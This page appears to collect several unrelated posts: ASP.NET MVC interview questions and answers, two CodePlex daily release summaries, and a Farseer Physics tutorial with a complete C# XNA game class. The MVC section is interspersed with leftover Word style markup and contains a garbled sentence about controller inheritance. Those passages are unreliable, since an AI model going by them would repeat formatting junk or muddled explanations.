  About ASP.Net MVC The ASP.Net MVC is the framework provided by Microsoft that lets you develop the applications that follows the principles of Model-View-Controller (MVC) design pattern. The .Net programmers new to MVC thinks that it is similar to WebForms Model (Normal ASP.Net), but it is far different from the WebForms programming.  This article will tell you how to quick learn the basics of MVC along with some frequently asked interview questions and answers on ASP.Net MVC 1. What is ASP.Net MVC The ASP.Net MVC is the framework provided by Microsoft to achieve     separation of concerns that leads to easy maintainability of the     application. Model is supposed to handle data related activity View deals with user interface related work Controller is meant for managing the application flow by communicating between Model and View. Normal 0 false false false EN-US X-NONE X-NONE 2. Why to use ASP.Net MVC The strength of MVC (i.e. ASP.Net MVC) listed below will answer this question MVC reduces the dependency between the components; this makes your code more testable. MVC does not recommend use of server controls, hence the processing time required to generate HTML response is drastically reduced. The integration of java script libraries like jQuery, Microsoft MVC becomes easy as compared to Webforms approach. 3. What do you mean by Razor The Razor is the new View engine introduced in MVC 3.0. The View engine is responsible for processing the view files [e.g. .aspx, .cshtml] in order to generate HTML response. The previous versions of MVC were dependent on ASPX view engine.  4. Can we use ASPX view engine in latest versions of MVC Yes. The Recommended way is to prefer Razor View 5. What are the benefits of Razor View?      The syntax for server side code is simplified      The length of code is drastically reduced      Razor syntax is easy to learn and reduces the complexity Normal 0 false false false EN-US X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} 6. What is the extension of Razor View file? .cshtml (for c#) and .vbhtml (for vb) 7. How to create a Controller in MVC Normal 0 false false false EN-US X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} Create a simple class and extend it from Controller class. The bare minimum requirement for a class to become a controller is to inherit it from ControllerBase is the class that is required to inherit to create the controller but Controller class inherits from ControllerBase. 8. How to create an Action method in MVC Add a simple method inside a controller class with ActionResult return type. 9. How to access a view on the server    The browser generates the request in which the information like Controller name, Action Name and Parameters are provided, when server receives this URL it resolves the Name of Controller and Action, after that it calls the specified action with provided parameters. Action normally does some processing and returns the ViewResult by specifying the view name (blank name searches according to naming conventions).   10. What is the default Form method (i.e. GET, POST) for an action method GET. To change this you can add an action level attribute e.g [HttpPost] Normal 0 false false false EN-US X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} 11. What is a Filter in MVC? When user (browser) sends a request to server an action method of a controller gets invoked; sometimes you may require executing a custom code before or after action method gets invoked, this custom code is called as Filter. 12. What are the different types of Filters in MVC? a. Authorization filter b. Action filter c. Result filter d. Exception filter [Do not forget the order mentioned above as filters gets executed as per above mentioned sequence] 13. Explain the use of Filter with an example? Suppose you are working on a MVC application where URL is sent in an encrypted format instead of a plain text, once encrypted URL is received by server it will ignore action parameters because of URL encryption. To solve this issue you can create global action filter by overriding OnActionExecuting method of controller class, in this you can extract the action parameters from the encrypted URL and these parameters can be set on filterContext to send plain text parameters to the actions.     14. What is a HTML helper? A HTML helper is a method that returns string; return string usually is the HTML tag. The standard HTML helpers (e.g. Html.BeginForm(),Html.TextBox()) available in MVC are lightweight as it does not rely on event model or view state as that of in ASP.Net server controls.

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• CodePlex Daily Summary for Wednesday, June 26, 2013

  CodePlex Daily Summary for Wednesday, June 26, 2013Popular ReleasesNaked Objects: Naked Objects Release 5.5.0: This release includes a number of significant improvements to the usability of the UI, some of which involve new programming conventions or attributes: Action dialogs now appear as pop-up modal dialogs instead of as a new page; query-only actions have an Apply as well as an OK button. See https://nakedobjects.codeplex.com/workitem/175 When a reference object is expanded in-line there is a button to jump straight to an Edit view of that object see https://nakedobjects.codeplex.com/workitem/1...VeraCrypt: VeraCrypt version 1.0b: Changes since version 1.0a :Enhance RIPEMD160 implementation in BootLoaded by using the compiler uint32 type Don't position legacy flag in volume header for newer VeraCrypt releasesPlayer Framework by Microsoft: Player Framework for Windows 8 and WP8 (v1.3 beta): Preview: New MPEG DASH adaptive streaming plugin for WAMS. Preview: New Ultraviolet CFF plugin. Preview: New WP7 version with WP8 compatibility. (source code only) Source code is now available via CodePlex Git Misc bug fixes and improvements: WP8 only: Added optional fullscreen and mute buttons to default xaml JS only: protecting currentTime from returning infinity. Some videos would cause currentTime to be infinity which could cause errors in plugins expecting only finite values. (...SSIS DQS Matching Transformation: SSIS DQS Matching Transformation 1.0: Initial release of the SSIS DQS Matching Component.AssaultCube Reloaded: 2.5.8: SERVER OWNERS: note that the default maprot has changed once again. Linux has Ubuntu 11.10 32-bit precompiled binaries and Ubuntu 10.10 64-bit precompiled binaries, but you can compile your own as it also contains the source. If you are using Mac or other operating systems, please wait while we continue to try to package for those OSes. Or better yet, try to compile it. If it fails, download a virtual machine. The server pack is ready for both Windows and Linux, but you might need to compi...Compare .NET Objects: Version 1.7.2.0: If you like it, please rate it. :) Performance Improvements Fix for deleted row in a data table Added ability to ignore the collection order Fix for Ignoring by AttributesMicrosoft Ajax Minifier: Microsoft Ajax Minifier 4.95: update parser to allow for CSS3 calc( function to nest. add recognition of -pponly (Preprocess-Only) switch in AjaxMinManifestTask build task. Fix crashing bug in EXE when processing a manifest file using the -xml switch and an error message needs to be displayed (like a missing input file). Create separate Clean and Bundle build tasks for working with manifest files (AjaxMinManifestCleanTask and AjaxMinBundleTask). Removed the IsCleanOperation from AjaxMinManifestTask -- use AjaxMinMan...VG-Ripper & PG-Ripper: VG-Ripper 2.9.44: changes NEW: Added Support for "ImgChili.net" links FIXED: Auto UpdaterDocument.Editor: 2013.25: What's new for Document.Editor 2013.25: Improved Spell Check support Improved User Interface Minor Bug Fix's, improvements and speed upsStyleMVVM: 3.0.2: This is a minor feature and bug fix release Features: ExportWhenDebuggerIsAttacedAttribute - new attribute that marks an attribute to only be exported when the debugger is attahced InjectedFilterAttributeFilterProvider - new Attribute Filter provider for MVC that injects the attributes Performance Improvements - minor speed improvements all over, and Import collections is now 50% faster Bug Fixes: Open Generic Constraints are now respected when finding exports Fix for fluent registrat...WPF Composites: Version 4.3.0: In this Beta release, I broke my code out into two separate projects. There is a core FasterWPF.dll with the minimal required functionality. This can run with only the Aero.dll and the Rx .dll's. Then, I have a FasterWPFExtras .dll that requires and supports the Extended WPF Toolkit™ Community Edition V 1.9.0 (including Xceed DataGrid) and the Thriple .dll. This is for developers who want more . . . Finally, you may notice the other OPTIONAL .dll's available in the download such as the Dyn...Channel9's Absolute Beginner Series: Windows Phone 8: Entire source code for the Channel 9 series, Windows Phone 8 Development for Absolute Beginners.Indent Guides for Visual Studio: Indent Guides v13: ImportantThis release does not support Visual Studio 2010. The latest stable release for VS 2010 is v12.1. Version History Changed in v13 Added page width guide lines Added guide highlighting options Fixed guides appearing over collapsed blocks Fixed guides not appearing in newly opened files Fixed some potential crashes Fixed lines going through pragma statements Various updates for VS 2012 and VS 2013 Removed VS 2010 support Changed in v12.1: Fixed crash when unable to start...Fluent Ribbon Control Suite: Fluent Ribbon Control Suite 2.1.0 - Prerelease d: Fluent Ribbon Control Suite 2.1.0 - Prerelease d(supports .NET 3.5, 4.0 and 4.5) Includes: Fluent.dll (with .pdb and .xml) Showcase Application Samples (not for .NET 3.5) Foundation (Tabs, Groups, Contextual Tabs, Quick Access Toolbar, Backstage) Resizing (ribbon reducing & enlarging principles) Galleries (Gallery in ContextMenu, InRibbonGallery) MVVM (shows how to use this library with Model-View-ViewModel pattern) KeyTips ScreenTips Toolbars ColorGallery *Walkthrough (do...Magick.NET: Magick.NET 6.8.5.1001: Magick.NET compiled against ImageMagick 6.8.5.10. Breaking changes: - MagickNET.Initialize has been made obsolete because the ImageMagick files in the directory are no longer necessary. - MagickGeometry is no longer IDisposable. - Renamed dll's so they include the platform name. - Image profiles can now only be accessed and modified with ImageProfile classes. - Renamed DrawableBase to Drawable. - Removed Args part of PathArc/PathCurvetoArgs/PathQuadraticCurvetoArgs classes. The...Keyboard Image Viewer: 1.5.4: Upgraded folder picker dialog to better version on Win7+ Fixed bug that stopped slideshow from looping back to the start of the list. Added crash dialog that allows you to see and copy exception stack traces for fixing.DependencyAnalysis (Egg and Gherkin): 0.9.4: - Create Visual Studio 2012 Addin for ad-hoc analysis of your project - Display metrics in a grid - Adequate performing serialization between Addin (Visual Studio process) and AnalysisHost process - Display dependencies as graph (proximity graph) - Create a logo for the project - Constructors of anonymous types no longer hide constructors of the declaring type during "build dependencies" phase - Type descriptors were added multiple times to SubmoduleDescriptor. Types collection, same instanc...Bloomberg API Emulator: Bloomberg API Emulator (v 1.0.5): This version contains the full Java port of my original C# code. I just finished the MarketDataSubscription request type. I will start working on a C++ port of my C# code.Three-Dimensional Maneuver Gear for Minecraft: TDMG 1.1.0.0 for 1.5.2: CodePlex???(????????) ?????????(???1/4) ??????????? ?????????? ???????????(??????????) ??????????????????????? ↑????、?????????????????????(???????) ???、??????????、?????????????????????、????????1.5?????????? Shift+W(????)??????????????????10°、?10°(?????????)???Hyper-V Management Pack Extensions 2012: HyperVMPE2012 (v1.0.1.126): Hyper-V Management Pack Extensions 2012 Beta ReleaseNew Projects.Net Encryption App: This is a C#.Net desktop application that will let users encrypt and de-crypt files with the algorithm of their choosing.AutoSPDocumenter: AutoSPDocumenter utilises PowerShell to document SharePoint farms and provide output in usable formats.Azure Storage Redirector: Azure Storage Redirector. Redirects requests to Global Azure Storage to China Azure Storage. ?????Azure Storage?request??????Azure storagebrownbag: Simple project to show branching, merging, and shelvingChannel9's Absolute Beginner Series: Channel 9's absolute beginner series source code. From Windows Phone 7, Windows Phone 8, Windows Store applications, one stop area for all the seriesFAST for Sharepoint 2010 Query Tool (.NET 3.5): .NET 3.5 version of the FAST Search for SharePoint MOSS 2010 Query Tool (https://fastforsharepoint.codeplex.com/). For environments without .NET 4.0HAOest Framework: HAOest????ListManager: ListManager????? by HADB of HAOestMyPS: mypsNNRel: NNRelO - BV - 2: TestOpen XML SDK for JavaScript: Small JavaScript library that enables you to implement Open XML functionality anywhere you can use JavaScript.Orchard Prefix free: Provides a script manifest for the Prefix free script libraries.PVDesktop: PVDesktop is an application for designing and analyzing specific solar energy sites.Red the sound TowePlay: School project at ISEN Lille. Creation of a collaborative music creation software in C# using.NETScience Kits for Kids: This project is the service for Childhood Education which aged 4 - 8.SharePoint ULS for PowerShell: Allows PowerShell to log to the SharePoint ULS.SSIS DQS Matching Transformation: The SSIS DQS Matching Transformation uses Data Quality Services (DQS) to find duplicate data within the SSIS data flow.TARVOS Computer Networks Simulator: Discrete event-based network simulator, supports simulating MPLS architecture, several RSVP-TE protocol functionalities and fast recovery.Web API Explorer 4 DNN: Web API Explorer for DNN(R) aids module development allowing you to examine the Routing Table entries for a DotNetNuke(R) portal.

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• CodePlex Daily Summary for Thursday, October 03, 2013

  CodePlex Daily Summary for Thursday, October 03, 2013Popular ReleasesEvent-Based Components AppBuilder: AB3.Iteration.52: Iteration 52 (Feature): Improve edit of flow step definition by validating input. (empty type name, type name contains space, type name starts with illegal char., custom name contains space, custom name is unique) Renamed: EditSingleStepDefinitionFlow => EditStepDefinitionFlow Improved: EditSubFlowDefinitionFlow (No code was changed. All necessary parts already existed. Only improvement of flow definitions.)DNN® Form and List: DNN Form and List 06.00.07: DotNetNuke Form and List 06.00.06 Changes to 6.0.7•Fixed an error in datatypes.config that caused calculated fields to be missing in 6.0.6 Changes to 6.0.6•Add in Sql to remove 'text on row' setting for UserDefinedTable to make SQL Azure compatible. •Add new azureCompatible element to manifest. •Added a fix for importing templates. Changes to 6.0.2•Fix: MakeThumbnail was broken if the application pool was configured to .Net 4 •Change: Data is now stored in nvarchar(max) instead of ntext C...SpiderSync: SpiderSync 0.5: Initial releaseSimpleExcelReportMaker: Serm 0.03: SourceCode and Sample .Net Framework 3.5 AnyCPU compile.RDFSharp - Start playing with RDF!: RDFSharp-0.6.6: GENERAL (NEW) Introduction of INT64 hashing engine (codenamed "Greta"); QUERY (FIX) Incorrect query evaluation due to faulty detection of optional patterns (v0.6.5 regression); (FIX) Missing update of PatternGroupID information after adding patterns and filters to a pattern group; (FIX) Ensure Context information of a pattern is not null before trying to collect it as variable; (MISC) Changed semantics of Context information of a pattern: if not provided, it will be ignored; (MISC...Ela, functional programming language: Ela, dynamic functional language (PDF, book, 0.6): A book about Ela, dynamic functional language in PDF format.DrivenDb: DrivenDb 1.6.0.1 Release: Removed untyped ReadValue(s) methods specifically for strings. The typed version (ReadValue<T>) works with ReadValue<string> now.Application Architecture Guidelines: App Architecture Guidelines 3.0.8: This document is an overview of software qualities, principles, patterns, practices, tools and libraries.C# Intellisense for Notepad++: Release v1.0.7.1: - smart indentation - document formatting To avoid the DLLs getting locked by OS use MSI file for the installation.CS-Script for Notepad++: Release v1.0.7.1: - smart indentation - document formatting To avoid the DLLs getting locked by OS use MSI file for the installation.State of Decay Save Manager: Version 1.0.2: Added Start/Stop button for timer to manually enable/disable Quick save routine updated to force it to refresh the folder date Quick save added to backup listing Manual update button Lower level hooking for F5 and F9 buttons workingBlackJumboDog: Ver5.9.6: 2013.09.30 Ver5.9.6 (1)SMTP???????、???????????????? (2)WinAPI??????? (3)Web???????CGI???????????????????????Microsoft Ajax Minifier: Microsoft Ajax Minifier 5.2: Mostly internal code tweaks. added -nosize switch to turn off the size- and gzip-calculations done after minification. removed the comments in the build targets script for the old AjaxMin build task (discussion #458831). Fixed an issue with extended Unicode characters encoded inside a string literal with adjacent \uHHHH\uHHHH sequences. Fixed an IndexOutOfRange exception when encountering a CSS identifier that's a single underscore character (_). In previous builds, the net35 and net20...AJAX Control Toolkit: September 2013 Release: AJAX Control Toolkit Release Notes - September 2013 Release (Updated) Version 7.1002September 2013 release of the AJAX Control Toolkit. AJAX Control Toolkit .NET 4.5 – AJAX Control Toolkit for .NET 4.5 and sample site (Recommended). AJAX Control Toolkit .NET 4 – AJAX Control Toolkit for .NET 4 and sample site (Recommended). AJAX Control Toolkit .NET 3.5 – AJAX Control Toolkit for .NET 3.5 and sample site (Recommended). Important UpdateThis release has been updated to fix two issues: Upda...WDTVHubGen - Adds Metadata, thumbnails and subtitles to WDTV Live Hubs: WDTVHubGen.v2.1.4.apifix-alpha: WDTVHubGen.v2.1.4.apifix-alpha is for testers to figure out if we got the NEW api plugged in ok. thanksVisual Log Parser: VisualLogParser: Portable Visual Log Parser for Dotnet 4.0AudioWordsDownloader: AudioWordsDownloader 1.1 build 88: New features list of words (mp3 files) is available upon typing when a download path is defined list of download paths is added paths history settings added Bug fixed case mismatch in word search field fixed path not exist bug fixed when history has been used path, when filled from dialog, not stored refresh autocomplete list after path change word sought is deleted when path is changed at the end sought word list is deleted word list not refreshed download ends. word lis...Wsus Package Publisher: Release v1.3.1309.28: Fix a bug, where WPP crash when running on a computer where Windows was installed in another language than Fr, En or De, and launching the Update Creation Wizard. Fix a bug, where WPP crash if some Multi-Thread job are launch with more than 64 items. Add a button to abort "Install This Update" wizard. Allow WPP to remember which columns are shown last time. Make URL clickable on the Update Information Tab. Add a new feature, when Double-Clicking on an update, the default action exec...Tweetinvi a friendly Twitter C# API: Alpha 0.8.3.0: Version 0.8.3.0 emphasis on the FIlteredStream and ease how to manage Exceptions that can occur due to the network or any other issue you might encounter. Will be available through nuget the 29/09/2013. FilteredStream Features provided by the Twitter Stream API - Ability to track specific keywords - Ability to track specific users - Ability to track specific locations Additional features - Detect the reasons the tweet has been retrieved from the Filtered API. You have access to both the ma...AcDown?????: AcDown????? v4.5: ??●AcDown??????????、??、??、???????。????，????，?????????????????????????。???????????Acfun、????(Bilibili)、??、??、YouTube、??、???、??????、SF????、????????????。 ●??????AcPlay?????，??????、????????????????。 ● AcDown???????C#??，????.NET Framework 2.0??。?????"Acfun?????"。 ??v4.5 ???? AcPlay????????v3.5 ????????，???????????30% ?? ???????GoodManga.net???? ?? ?????????? ?? ??Acfun?????????? ??Bilibili??????????? ?????????flvcd???????? ??SfAcg????????????? ???????????? ???????????????? ????32...New ProjectsBootstrap 3.0 WebPages Helpers: Bootstrap 3.0 WebPages Helpers offre direttamente la forza del pattern responsive e la semplicità di controlli facili d’uso e riuso. Compact Framework 3.9 Templates for Windows Embedded Compact 2013: This project provides Visual Studio 2012 Templates for Compact Framework Version 3.9 in the context of a Windows Embedded Compact 2013 OS project SDK.ganda: naGSpeak (Gesture Speak): Code generation through speech/gesture for everyone (Including individuals with disabilities).Importing Microsoft Project Files: Using mpjx to read microsoft project filesMoppet.Lapa: Very light parser generator based on combinations of lambda functions. Without language of grammar descriptions. Defining parsers in the code directly.NotifyPilot for TFS: NotifyPilot is a simple bridge between TFS and a group of clients (eg : Yammer, SignalR, ect..).SimCa: Simple Image Cacher for WP7.SIMPLE: We are aiming to create an easy to use machine learning framework in C++ which includes the tools you need to make modules for the included learning environmentSpiderSync: Command line application for providing one-way real-time synchronization between two folders.StrontiumTeam: An client-side application based on Kendo UI. It provides the means for car owners to make offers and lure potential buyers through the sleek interface.StudentSystem: A learning system comprising students, teachers, courses and lectures.TelerikExams: Solutions of the tasks for the exams in ThelerikAcademy (http://telerikacademy.com)Thewhy: Just Test CreateUser Stories: proyecto academicoWindows Embedded Compact 2013 Tools: Some applications to add to Compact 2013 OS that were available in previous versions of Windows Embedded Compact/CE but not part of the current version.

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• Farseer tutorial for the absolute beginners

  - by Bil Simser

  This post is inspired (and somewhat a direct copy) of a couple of posts Emanuele Feronato wrote back in 2009 about Box2D (his tutorial was ActionScript 3 based for Box2D, this is C# XNA for the Farseer Physics Engine). Here’s what we’re building: What is Farseer The Farseer Physics Engine is a collision detection system with realistic physics responses to help you easily create simple hobby games or complex simulation systems. Farseer was built as a .NET version of Box2D (based on the Box2D.XNA port of Box2D). While the constructs and syntax has changed over the years, the principles remain the same. This tutorial will walk you through exactly what Emanuele create for Flash but we’ll be doing it using C#, XNA and the Windows Phone platform. The first step is to download the library from its home on CodePlex. If you have NuGet installed, you can install the library itself using the NuGet package that but we’ll also be using some code from the Samples source that can only be obtained by downloading the library. Once you download and unpacked the zip file into a folder and open the solution, this is what you will get: The Samples XNA WP7 project (and content) have all the demos for Farseer. There’s a wealth of info here and great examples to look at to learn. The Farseer Physics XNA WP7 project contains the core libraries that do all the work. DebugView XNA contains an XNA-ready class to let you view debug data and information in the game draw loop (which you can copy into your project or build the source and reference the assembly). The downloaded version has to be compiled as it’s only available in source format so you can do that now if you want (open the solution file and rebuild everything). If you’re using the NuGet package you can just install that. We only need the core library and we’ll be copying in some code from the samples later. Your first Farseer experiment Start Visual Studio and create a new project using the Windows Phone template can call it whatever you want. It’s time to edit Game1.cs 1 public class Game1 : Game 2 { 3 private readonly GraphicsDeviceManager _graphics; 4 private DebugViewXNA _debugView; 5 private Body _floor; 6 private SpriteBatch _spriteBatch; 7 private float _timer; 8 private World _world; 9 10 public Game1() 11 { 12 _graphics = new GraphicsDeviceManager(this) 13 { 14 PreferredBackBufferHeight = 800, 15 PreferredBackBufferWidth = 480, 16 IsFullScreen = true 17 }; 18 19 Content.RootDirectory = "Content"; 20 21 // Frame rate is 30 fps by default for Windows Phone. 22 TargetElapsedTime = TimeSpan.FromTicks(333333); 23 24 // Extend battery life under lock. 25 InactiveSleepTime = TimeSpan.FromSeconds(1); 26 } 27 28 protected override void LoadContent() 29 { 30 // Create a new SpriteBatch, which can be used to draw textures. 31 _spriteBatch = new SpriteBatch(_graphics.GraphicsDevice); 32 33 // Load our font (DebugViewXNA needs it for the DebugPanel) 34 Content.Load<SpriteFont>("font"); 35 36 // Create our World with a gravity of 10 vertical units 37 if (_world == null) 38 { 39 _world = new World(Vector2.UnitY*10); 40 } 41 else 42 { 43 _world.Clear(); 44 } 45 46 if (_debugView == null) 47 { 48 _debugView = new DebugViewXNA(_world); 49 50 // default is shape, controller, joints 51 // we just want shapes to display 52 _debugView.RemoveFlags(DebugViewFlags.Controllers); 53 _debugView.RemoveFlags(DebugViewFlags.Joint); 54 55 _debugView.LoadContent(GraphicsDevice, Content); 56 } 57 58 // Create and position our floor 59 _floor = BodyFactory.CreateRectangle( 60 _world, 61 ConvertUnits.ToSimUnits(480), 62 ConvertUnits.ToSimUnits(50), 63 10f); 64 _floor.Position = ConvertUnits.ToSimUnits(240, 775); 65 _floor.IsStatic = true; 66 _floor.Restitution = 0.2f; 67 _floor.Friction = 0.2f; 68 } 69 70 protected override void Update(GameTime gameTime) 71 { 72 // Allows the game to exit 73 if (GamePad.GetState(PlayerIndex.One).Buttons.Back == ButtonState.Pressed) 74 Exit(); 75 76 // Create a random box every second 77 _timer += (float) gameTime.ElapsedGameTime.TotalSeconds; 78 if (_timer >= 1.0f) 79 { 80 // Reset our timer 81 _timer = 0f; 82 83 // Determine a random size for each box 84 var random = new Random(); 85 var width = random.Next(20, 100); 86 var height = random.Next(20, 100); 87 88 // Create it and store the size in the user data 89 var box = BodyFactory.CreateRectangle( 90 _world, 91 ConvertUnits.ToSimUnits(width), 92 ConvertUnits.ToSimUnits(height), 93 10f, 94 new Point(width, height)); 95 96 box.BodyType = BodyType.Dynamic; 97 box.Restitution = 0.2f; 98 box.Friction = 0.2f; 99 100 // Randomly pick a location along the top to drop it from 101 box.Position = ConvertUnits.ToSimUnits(random.Next(50, 400), 0); 102 } 103 104 // Advance all the elements in the world 105 _world.Step(Math.Min((float) gameTime.ElapsedGameTime.TotalMilliseconds*0.001f, (1f/30f))); 106 107 // Clean up any boxes that have fallen offscreen 108 foreach (var box in from box in _world.BodyList 109 let pos = ConvertUnits.ToDisplayUnits(box.Position) 110 where pos.Y > _graphics.GraphicsDevice.Viewport.Height 111 select box) 112 { 113 _world.RemoveBody(box); 114 } 115 116 base.Update(gameTime); 117 } 118 119 protected override void Draw(GameTime gameTime) 120 { 121 GraphicsDevice.Clear(Color.FromNonPremultiplied(51, 51, 51, 255)); 122 123 _spriteBatch.Begin(); 124 125 var projection = Matrix.CreateOrthographicOffCenter( 126 0f, 127 ConvertUnits.ToSimUnits(_graphics.GraphicsDevice.Viewport.Width), 128 ConvertUnits.ToSimUnits(_graphics.GraphicsDevice.Viewport.Height), 0f, 0f, 129 1f); 130 _debugView.RenderDebugData(ref projection); 131 132 _spriteBatch.End(); 133 134 base.Draw(gameTime); 135 } 136 } 137 Lines 4: Declare the debug view we’ll use for rendering (more on that later). Lines 8: Declare _world variable of type class World. World is the main object to interact with the Farseer engine. It stores all the joints and bodies, and is responsible for stepping through the simulation. Lines 12-17: Create the graphics device we’ll be rendering on. This is an XNA component and we’re just setting it to be the same size as the phone and toggling it to be full screen (no system tray). Lines 34: We create a SpriteFont here by adding it to the project. It’s called “font” because that’s what the DebugView uses but you can name it whatever you want (and if you’re not using DebugView for your production app you might have several fonts). Lines 37-44: We create the physics environment that Farseer uses to contain all the objects by specifying it here. We’re using Vector2.UnitY*10 to represent the gravity to be used in the environment. In other words, 10 units going in a downward motion. Lines 46-56: We create the DebugViewXNA here. This is copied from the […] from the code you downloaded and provides the ability to render all entities onto the screen. In a production release you’ll be doing the rendering yourself of each object but we cheat a bit for the demo and let the DebugView do it for us. The other thing it can provide is to render out a panel of debugging information while the simulation is going on. This is useful in tracking down objects, figuring out how something works, or just keeping track of what’s in the engine. Lines 49-67: Here we create a rigid body (Farseer only supports rigid bodies) to represent the floor that we’ll drop objects onto. We create it by using one of the Farseer factories and specifying the width and height. The ConvertUnits class is copied from the samples code as-is and lets us toggle between display units (pixels) and simulation units (usually metres). We’re creating a floor that’s 480 pixels wide and 50 pixels high (converting them to SimUnits for the engine to understand). We also position it near the bottom of the screen. Values are in metres and when specifying values they refer to the centre of the body object. Lines 77-78: The game Update method fires 30 times a second, too fast to be creating objects this quickly. So we use a variable to track the elapsed seconds since the last update, accumulate that value, then create a new box to drop when 1 second has passed. Lines 89-94: We create a box the same way we created our floor (coming up with a random width and height for the box). Lines 96-101: We set the box to be Dynamic (rather than Static like the floor object) and position it somewhere along the top of the screen. And now you created the world. Gravity does the rest and the boxes fall to the ground. Here’s the result: Farseer Physics Engine Demo using XNA Lines 105: We must update the world at every frame. We do this with the Step method which takes in the time interval. [more] Lines 108-114: Body objects are added to the world but never automatically removed (because Farseer doesn’t know about the display world, it has no idea if an item is on the screen or not). Here we just loop through all the entities and anything that’s dropped off the screen (below the bottom) gets removed from the World. This keeps our entity count down (the simulation never has more than 30 or 40 objects in the world no matter how long you run it for). Too many entities and the app will grind to a halt. Lines 125-130: Farseer knows nothing about the UI so that’s entirely up to you as to how to draw things. Farseer is just tracking the objects and moving them around using the physics engine and it’s rules. You’ll still use XNA to draw items (using the SpriteBatch.Draw method) so you can load up your usual textures and draw items and pirates and dancing zombies all over the screen. Instead in this demo we’re going to cheat a little. In the sample code for Farseer you can download there’s a project called DebugView XNA. This project contains the DebugViewXNA class which just handles iterating through all the bodies in the world and drawing the shapes. So we call the RenderDebugData method here of that class to draw everything correctly. In the case of this demo, we just want to draw Shapes so take a look at the source code for the DebugViewXNA class as to how it extracts all the vertices for the shapes created (in this case simple boxes) and draws them. You’ll learn a *lot* about how Farseer works just by looking at this class. That’s it, that’s all. Simple huh? Hope you enjoy the code and library. Physics is hard and requires some math skills to really grok. The Farseer Physics Engine makes it pretty easy to get up and running and start building games. In future posts we’ll get more in-depth with things you can do with the engine so this is just the beginning. Enjoy!

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